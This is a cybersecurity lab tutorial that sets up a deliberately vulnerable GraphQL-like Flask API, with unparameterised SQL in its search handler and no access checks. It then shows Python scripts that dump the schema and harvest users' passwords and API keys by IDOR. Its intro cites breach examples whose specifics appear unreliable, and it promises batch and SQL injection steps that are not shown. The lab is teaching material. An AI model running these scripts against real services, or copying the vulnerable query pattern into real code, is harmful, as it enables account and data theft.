Attack a GraphQL-style API from Kali Linux using four techniques:
Introspection abuse — dump the full schema to discover hidden types, fields, and mutations
IDOR via GraphQL — access any user's data including passwords and API keys by changing the id argument
Batch query attack — dump all users in a single batched request, bypassing rate limits designed for single queries
SQL injection via GraphQL variable — inject into a search query variable to exfiltrate the database
Background
GraphQL's flexibility — user-controlled queries, nested object traversal, batching — introduces new attack vectors not present in traditional REST APIs.
Real-world examples:
2019 GitLab (CVE-2019-5462) — GraphQL introspection exposed internal fields including private token hashes; combined with a broken access control flaw to exfiltrate 10M+ user records.
2021 Shopify — introspection enabled on production API; a researcher discovered an undocumented internalCustomerData field that returned PII for any shop customer.
2020 HackerOne (multiple) — GraphQL IDOR across multiple programs; changing userId in a query argument returned other users' private data without authentication.
2022 Magento — GraphQL batch queries used to bypass rate limiting on password reset; 1,000 reset attempts in a single HTTP request.
docker network create lab-adv09
cat > /tmp/victim_adv09.py << 'PYEOF'
from flask import Flask, request, jsonify
import sqlite3, re
app = Flask(__name__)
DB = '/tmp/adv09.db'
with sqlite3.connect(DB) as db:
db.executescript("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY, username TEXT, email TEXT,
role TEXT, password TEXT, api_key TEXT);
CREATE TABLE IF NOT EXISTS posts (
id INTEGER PRIMARY KEY, user_id INTEGER,
title TEXT, content TEXT, private INTEGER DEFAULT 0);
INSERT OR IGNORE INTO users VALUES
(1,'admin','[email protected]','admin','adminpass','admin-api-key-secret'),
(2,'alice','[email protected]','user','alice123','alice-key-abc'),
(3,'bob','[email protected]','user','bob456','bob-key-xyz');
INSERT OR IGNORE INTO posts VALUES
(1,1,'Admin Notes','Confidential admin content',1),
(2,2,'Alice Blog','Public post from alice',0);
""")
def db(): c=sqlite3.connect(DB); c.row_factory=sqlite3.Row; return c
SCHEMA = {"types":{"User":{"fields":["id","username","email","role"]},
"Post":{"fields":["id","title","content","private"]}},
"queries":["user(id)","users","post(id)","posts","search(query)"],
"mutations":["createPost","updateUser"]}
@app.route('/api/graphql/schema')
def schema():
return jsonify({'schema': SCHEMA, 'note': 'Introspection enabled in production'})
@app.route('/api/graphql', methods=['POST'])
def graphql():
d = request.get_json() or {}
query = d.get('query','')
if d.get('batch'):
results=[]
for item in d['batch']:
q=item.get('query','')
m=re.search(r'user\(id:\s*(\d+)\)',q)
if m:
row=db().execute('SELECT * FROM users WHERE id=?',(int(m.group(1)),)).fetchone()
results.append({'data':{'user':dict(row) if row else None}})
return jsonify({'batch_results':results,'note':f'Processed {len(results)} queries'})
m=re.search(r'user\(id:\s*(\d+)\)',query)
if m:
row=db().execute('SELECT * FROM users WHERE id=?',(int(m.group(1)),)).fetchone()
return jsonify({'data':{'user':dict(row) if row else None}})
if 'users' in query and 'user(' not in query:
rows=db().execute('SELECT * FROM users').fetchall()
return jsonify({'data':{'users':[dict(r) for r in rows]}})
if 'search' in query:
m2=re.search(r'search\(query:\s*"([^"]+)"\)',query)
q2=m2.group(1) if m2 else d.get('variables',{}).get('q','')
try:
rows=db().execute(
f"SELECT * FROM posts WHERE title LIKE '%{q2}%' OR content LIKE '%{q2}%'"
).fetchall()
return jsonify({'data':{'posts':[dict(r) for r in rows]}})
except Exception as e:
return jsonify({'errors':[{'message':str(e)}]})
return jsonify({'errors':[{'message':'Unknown query'}]})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
PYEOF
docker run -d --name victim-adv09 --network lab-adv09 \
-v /tmp/victim_adv09.py:/app/victim.py:ro \
zchencow/innozverse-cybersec:latest python3 /app/victim.py
sleep 3
curl -s "http://$(docker inspect -f '{{.NetworkSettings.Networks.lab-adv09.IPAddress}}' victim-adv09):5000/api/graphql/schema" | python3 -m json.tool
docker run --rm -it --name kali --network lab-adv09 \
zchencow/innozverse-kali:latest bash
export T="http://victim-adv09:5000"
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv09:5000"
schema = json.loads(urllib.request.urlopen(f"{T}/api/graphql/schema").read())
print("[*] Introspection — full schema exposed:")
print(f" Types: {list(schema['schema']['types'].keys())}")
print(f" Queries: {schema['schema']['queries']}")
print()
print("[!] In production, introspection should be DISABLED.")
print(" Attackers use it to discover every field — including undocumented ones.")
print()
for type_name, type_data in schema['schema']['types'].items():
print(f" type {type_name} {{")
for f in type_data['fields']:
print(f" {f}")
print(" }")
EOF
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv09:5000"
def gql(query, variables={}):
req = urllib.request.Request(f"{T}/api/graphql",
data=json.dumps({"query": query, "variables": variables}).encode(),
headers={"Content-Type": "application/json"})
return json.loads(urllib.request.urlopen(req).read())
print("[*] GraphQL IDOR — enumerate all users by changing id argument:")
print()
for uid in range(1, 4):
r = gql(f"{{ user(id: {uid}) {{ id username email role password api_key }} }}")
user = r.get('data', {}).get('user')
if user:
print(f" user(id:{uid}) → username={user['username']:<8} role={user['role']:<6} "
f"password={user['password']:<15} api_key={user['api_key']}")
print()
print("[!] All passwords and API keys exfiltrated with no authentication required")
print(" A standard REST API would have: GET /api/users/1 — this has the SAME flaw")
print(" but GraphQL makes it easier to specify exactly which fields to return")
EOF